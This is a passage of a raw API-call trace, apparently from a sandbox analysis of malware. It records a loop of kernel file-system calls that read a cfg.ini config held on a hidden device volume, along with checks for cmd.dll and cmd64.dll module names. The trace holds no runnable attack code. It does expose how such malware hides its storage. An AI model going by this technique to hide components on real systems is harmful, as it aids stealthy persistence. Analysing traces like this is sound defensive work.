KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.835] IdePortDispatch () returned 0x103 [0127.836] KeWaitForMutexObject () returned 0x0 [0127.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.836] KeLeaveCriticalRegion () [0127.836] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.836] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.836] KeEnterCriticalRegion () [0127.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.836] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.836] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.836] KeLeaveCriticalRegion () [0127.836] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.836] KeEnterCriticalRegion () [0127.836] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.836] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.837] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.837] KeLeaveCriticalRegion () [0127.837] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.837] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.837] KeEnterCriticalRegion () [0127.837] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.837] ExFreePoolWithTag (P=0xfffffa8003bfb470, Tag=0x0) [0127.837] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.837] KeLeaveCriticalRegion () [0127.837] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.837] ReleaseMutex (hMutex=0xf0) returned 1 [0127.837] Sleep (dwMilliseconds=0x124f80) [0127.857] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.857] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.857] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.857] KeEnterCriticalRegion () [0127.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.857] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.857] IdePortDispatch () returned 0x103 [0127.857] KeWaitForMutexObject () returned 0x0 [0127.857] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.857] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.857] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.857] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.857] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.857] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfba70 [0127.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.857] KeLeaveCriticalRegion () [0127.857] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.858] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.858] KeEnterCriticalRegion () [0127.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.858] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.858] KeLeaveCriticalRegion () [0127.858] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.858] KeEnterCriticalRegion () [0127.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.858] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.858] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.858] IdePortDispatch () returned 0x103 [0127.858] KeWaitForMutexObject () returned 0x0 [0127.858] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.858] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.858] KeLeaveCriticalRegion () [0127.858] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.858] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.858] KeEnterCriticalRegion () [0127.858] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.858] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c59000 [0127.858] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.858] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.859] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.859] IdePortDispatch () returned 0x103 [0127.859] KeWaitForMutexObject () returned 0x0 [0127.859] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.859] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.859] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.859] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.859] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.859] IdePortDispatch () returned 0x103 [0127.859] KeWaitForMutexObject () returned 0x0 [0127.859] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.859] KeLeaveCriticalRegion () [0127.859] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.860] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.860] KeEnterCriticalRegion () [0127.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.860] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.860] KeLeaveCriticalRegion () [0127.860] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.860] KeEnterCriticalRegion () [0127.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.860] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.860] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.860] KeLeaveCriticalRegion () [0127.860] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.860] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.860] KeEnterCriticalRegion () [0127.860] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.860] ExFreePoolWithTag (P=0xfffffa8003bfba70, Tag=0x0) [0127.860] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.860] KeLeaveCriticalRegion () [0127.860] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.861] ReleaseMutex (hMutex=0xf0) returned 1 [0127.861] Sleep (dwMilliseconds=0x124f80) [0127.879] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.879] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.879] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.879] KeEnterCriticalRegion () [0127.879] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.879] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.879] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.879] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.879] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.879] IdePortDispatch () returned 0x103 [0127.879] KeWaitForMutexObject () returned 0x0 [0127.879] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.879] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.879] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.879] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.879] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.879] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037da9e0 [0127.879] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.879] KeLeaveCriticalRegion () [0127.879] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.880] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.880] KeEnterCriticalRegion () [0127.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.880] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.880] KeLeaveCriticalRegion () [0127.880] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.880] KeEnterCriticalRegion () [0127.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.880] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.880] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.880] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.880] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.880] IdePortDispatch () returned 0x103 [0127.880] KeWaitForMutexObject () returned 0x0 [0127.880] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.880] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.880] KeLeaveCriticalRegion () [0127.880] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.880] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.880] KeEnterCriticalRegion () [0127.880] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.880] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000010) returned 0xfffff88002c5e000 [0127.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.881] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.881] IdePortDispatch () returned 0x103 [0127.881] KeWaitForMutexObject () returned 0x0 [0127.881] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.881] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.881] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.881] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.881] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.881] IdePortDispatch () returned 0x103 [0127.881] KeWaitForMutexObject () returned 0x0 [0127.881] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.881] KeLeaveCriticalRegion () [0127.881] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.882] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.882] KeEnterCriticalRegion () [0127.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.882] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.882] KeLeaveCriticalRegion () [0127.882] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.882] KeEnterCriticalRegion () [0127.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.882] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.882] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfdbe0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.882] KeLeaveCriticalRegion () [0127.882] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.882] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.882] KeEnterCriticalRegion () [0127.882] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.882] ExFreePoolWithTag (P=0xfffffa80037da9e0, Tag=0x0) [0127.882] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.882] KeLeaveCriticalRegion () [0127.883] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.883] ReleaseMutex (hMutex=0xf0) returned 1 [0127.883] Sleep (dwMilliseconds=0x124f80) [0127.902] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.902] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.902] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.903] KeEnterCriticalRegion () [0127.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.903] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.903] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.903] IdePortDispatch () returned 0x103 [0127.903] KeWaitForMutexObject () returned 0x0 [0127.903] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.903] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.903] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.903] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.903] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.903] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc010 [0127.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.903] KeLeaveCriticalRegion () [0127.903] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.903] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.903] KeEnterCriticalRegion () [0127.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.903] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.903] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.903] KeLeaveCriticalRegion () [0127.903] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.903] KeEnterCriticalRegion () [0127.903] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.903] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.903] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.904] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.904] IdePortDispatch () returned 0x103 [0127.904] KeWaitForMutexObject () returned 0x0 [0127.904] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.904] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.904] KeLeaveCriticalRegion () [0127.904] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.904] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.904] KeEnterCriticalRegion () [0127.904] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.904] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c63000 [0127.904] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.904] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.904] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.904] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.904] IdePortDispatch () returned 0x103 [0127.905] KeWaitForMutexObject () returned 0x0 [0127.905] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.905] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.905] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.905] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.905] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.905] IdePortDispatch () returned 0x103 [0127.905] KeWaitForMutexObject () returned 0x0 [0127.905] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.905] KeLeaveCriticalRegion () [0127.905] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.906] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.906] KeEnterCriticalRegion () [0127.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.906] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.906] KeLeaveCriticalRegion () [0127.906] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.906] KeEnterCriticalRegion () [0127.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.906] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.906] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfd980, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.906] KeLeaveCriticalRegion () [0127.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.906] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.906] KeEnterCriticalRegion () [0127.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.906] ExFreePoolWithTag (P=0xfffffa8003bfc010, Tag=0x0) [0127.906] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.906] KeLeaveCriticalRegion () [0127.906] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.906] ReleaseMutex (hMutex=0xf0) returned 1 [0127.906] Sleep (dwMilliseconds=0x124f80) [0127.926] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.926] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.926] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 